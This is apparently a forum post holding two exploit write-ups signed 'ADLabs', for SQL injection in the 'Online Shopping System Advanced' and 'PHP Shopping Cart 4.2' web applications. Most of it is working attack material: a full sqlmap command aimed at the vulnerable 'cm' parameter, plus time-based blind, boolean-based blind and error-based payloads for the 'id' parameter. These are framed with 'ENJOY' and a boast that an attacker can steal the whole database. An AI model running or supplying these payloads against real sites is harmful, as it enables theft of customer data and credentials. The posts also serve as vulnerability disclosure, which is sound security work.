# Title: Online Shopping System Advanced
# Description
Unauthorized access to a database by injecting malicious SQL statements. The SQL injection vulnerability occurs due to the inclusion of the user-provided "cm" parameter in the SQL query without proper filtering or sanitization. An attacker can exploit the vulnerability by injecting malicious SQL code in the "cm" parameter. Successful exploitation of the vulnerability results in the disclosure of sensitive information from the database, such as user credentials, which can be used to gain unauthorized access to the database
[+] sqlmap output
sqlmap.py -u "http://localhost/online-shopping-system-advanced/payment_success.php?st=Completed&cm=1" -p cm --dbms=mysql -technique=T --proxy=http://127.0.0.1:8080
Parameter: cm (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: st=Completed&cm=1' AND (SELECT 1415 FROM (SELECT(SLEEP(5)))NRHH) AND 'jLpV'='jLpV
ENJOY
ADLabs
Добавлено через 2 минуты 45 секунд
1-Title: PHP Shopping Cart-4.2 Multiple-SQLi
2-Description:
The `id` parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the id parameter, and a database error
message was returned. Two single quotes were then submitted and the
error message disappeared. The attacker easily can steal all
information from the database of this web application!
WARNING! All of you: Be careful what you buy! This will be your responsibility!
[+]Payload:
mysql
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: controller=pjFront&action=pjActionGetStocks&am p;id=1') OR NOT
3795=3795-- sRcp&session_id=
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (GTID_SUBSET)
Payload: controller=pjFront&action=pjActionGetStocks&am p;id=1') AND
GTID_SUBSET(CONCAT(0x71717a6b71,(SELECT
(ELT(3820=3820,1))),0x7178627871),3820)-- kQZA&session_id=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: controller=pjFront&action=pjActionGetStocks&am p;id=1') AND
(SELECT 2625 FROM (SELECT(SLEEP(5)))nVyA)-- FGLs&session_id=
Enjoy
ADLabs